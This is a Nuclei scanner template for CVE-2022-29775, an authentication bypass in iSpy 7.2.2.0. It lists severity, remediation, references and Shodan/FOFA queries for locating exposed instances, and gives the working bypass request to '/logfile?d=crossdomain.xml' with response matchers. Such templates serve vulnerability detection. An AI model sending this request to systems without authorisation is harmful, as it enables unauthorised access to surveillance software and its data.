id: CVE-2022-29775

info:
  name: iSpy 7.2.2.0 - Authentication Bypass
  author: arafatansari
  severity: critical
  description: |
    iSpy 7.2.2.0 contains an authentication bypass vulnerability. An attacker can craft a URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
  remediation: |
    Upgrade to the latest version of iSpy (7.2.2.1 or higher) which includes a fix for the authentication bypass vulnerability.
  reference:
    - https://gist.github.com/securylight/79f673aa3a453c80c0e78f356a8f650b
    - https://github.com/securylight/CVES_write_ups/blob/main/iSpy_connect.pdf
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29775
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29775
    - https://github.com/securylight/CVES_write_ups
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-29775
    cwe-id: CWE-287
    epss-score: 0.60667
    epss-percentile: 0.99059
    cpe: cpe:2.3:a:ispyconnect:ispy:7.2.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ispyconnect
    product: ispy
    shodan-query:
      - http.html:"iSpy is running"
      - http.html:"ispy is running"
    fofa-query: body="ispy is running"
  tags: cve,cve2022,ispy,auth-bypass,ispyconnect,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/logfile?d=crossdomain.xml'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Log Start'
          - 'Log File'
          - 'iSpy'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044021f1447a98c2fa4fa79dd9158df2d63a856a13d2796b297c17278c902f3cb27ef02210082e990918d752c91e627f7e19a95ae3c2b9902040738e18e1abf7b57591a2610:922c64590222798bb761d5b6d8e72950